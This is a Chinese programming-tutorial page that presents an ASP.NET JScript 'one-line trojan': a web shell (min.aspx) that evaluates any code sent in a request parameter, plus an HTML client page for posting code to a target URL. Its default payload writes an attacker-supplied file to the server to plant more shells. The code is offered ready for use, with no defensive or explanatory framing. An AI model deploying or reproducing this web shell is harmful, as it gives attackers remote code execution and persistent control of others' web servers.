繁體中文当前位置: 首页 > 图文教程 > 网络编程 > ASP.NET > asp.net jscript 一句话木马
- ASP.NET
- 使用C# 开发掩码输入文本框
- 点击DataGrid的列标头在DataGrid最后一行显示该列的和
- ASP.NET之Web打印－终极解决篇
- SQL Server 2000 Reporting Services: 怎样根据用户的语言偏好显示本地化的信息
- 利用底层键盘钩子拦载任意按键（回调版）
- 如何禁止调整自定义控件的尺寸？
- 用VB6.0编写磁盘格式化程序
- Aspx中导Excel
- ASP.NET组件设计Step by Step(3)
- 下面真正开始讲事件的内容
- 如何有效的使用C#读取文件
- 如何在C#中加载自己编写的动态链接库（DLL）
- Managed DirectX 相关（DirectX.Capture Class Library && DirectShow.NET）
- XQuery Reference-from w3schools.com
- [译]Visual Basic 2005在语言上的增强（十三）显式的数组范围及小结
- lucene的首次应用
- [VBA]在后台删除工作表后出现的怪问题
- VB.NET 数据库查询 [SQL字符串的生成]
- JavaScript调用服务器事件
- 在Window2003上执行System.Diagnostics.Process.GetProcessesByName等方法失败的原因
ASP.NET 中的 asp.net jscript 一句话木马
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 170 ::
收藏到网摘: n/a
min.aspx
复制代码 代码如下:
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
复制代码 代码如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="text/css">
td,table,tr {
list-style: none;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
line-height: 180%;
}
input,textarea {
width:780px;
}
</style>
<title>aspx一句话木马客户端</title></head>
<body bgcolor="D4D0C8">
<hr>
<table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#D4D0C8">
<form action="sdfsdf" method="post" name="sform" id="sform">
<tr>
<td width="74" align="right" valign="bottom">URL：</td>
<td width="885" valign="bottom"><input name="URL" type="text" id="URL" value="http://" /></td>
</tr>
<tr>
<td align="right" valign="top">操作：</td>
<td><textarea name=z rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("名称.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();</textarea></td>
</tr>
<tr>
<td align="right" valign="top">写入内容：</td>
<td><p>
<textarea name=l rows=13 width=45></textarea>
<input type="button" value="提交" onclick="javascript:document.sform.action=document.sform.URL.value;submit();" />
</p>
</td>
</tr>
<tr>
<td align="right"> </td>
<td>
<div align="left">
<p>服务端: min.aspx 客户端：client.htm</p>
</div>
</td>
</tr>
</form>
</table>
<hr>
</BODY>
</HTML>
评论 (0) All
